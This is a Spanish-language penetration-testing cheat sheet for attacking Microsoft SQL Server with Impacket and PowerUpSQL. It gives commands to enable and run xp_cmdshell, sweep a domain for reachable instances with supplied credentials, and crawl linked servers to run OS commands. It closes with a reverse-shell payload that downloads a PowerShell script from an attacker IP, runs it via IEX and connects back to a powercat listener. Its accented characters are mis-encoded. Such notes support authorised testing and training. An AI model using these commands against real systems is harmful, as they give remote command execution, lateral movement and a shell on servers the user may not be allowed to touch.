Microsoft SQL Server (MSSQL)

Linux/Unix

Impacket

# impacket-mssqlclient
mssqlclient.py <ACME.LOCAL>/<user>:"<password>"@<target> -windows-auth
enable_xp_cmdshell
xp_cmdshell whoami

Windows

PowerUpSQL

Descubrir instancias de SQL Server.

Get-SQLInstanceDomain

Obtener informaci贸n de instancias de SQL Server.

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Comprobar acceso a instancias de SQL Server dado un usuario y contrase帽a.

$SQLInstances = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -Username "<ACME.LOCAL>\<user>" -Password "<password>" | Where-Object {$_.Status -like "Accessible"}
$SQLInstances

Comprobar acceso a instancias de SQL Server utilizando la cuenta de usuario actual.

$SQLInstances = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"}
$SQLInstances

Ejecuci贸n de consultas SQL.

Get-SQLQuery -Verbose -Instance "<target>,<port>" -Query "SELECT @@version"
Get-SQLQuery -Verbose -Instance "<target>,<port>" -Username "<ACME.LOCAL>\<user>" -Password "<password>" -Query "SELECT @@version"

Obtener links de bases de datos.

Get-SQLServerLink -Instance "<Instance>" -Verbose

Rastrear links de bases de datos.

Get-SQLServerLinkCrawl -Instance "<Instance>" -Verbose

Ejecuci贸n de comandos utilizando links de bases de datos.

Get-SQLServerLinkCrawl -Instance "<Instance>" -Query "exec master..xp_cmdshell 'hostname & whoami'"

Reverse shell utilizando links de bases de datos.

# Powercat
powercat -l -v -p <listen-port>
# PowerUpSQL
Get-SQLServerLinkCrawl -Instance "<Instance>" -Query "exec master..xp_cmdshell 'powershell.exe IEX (iwr http://<attacker-IP-address>:80/Invoke-PowerShellTcp.ps1 -UseBasicParsing); Invoke-PowerShellTcp -Reverse -IPAddress <attacker-IP-address> -Port <listen-port>'"

脷ltima actualizaci贸n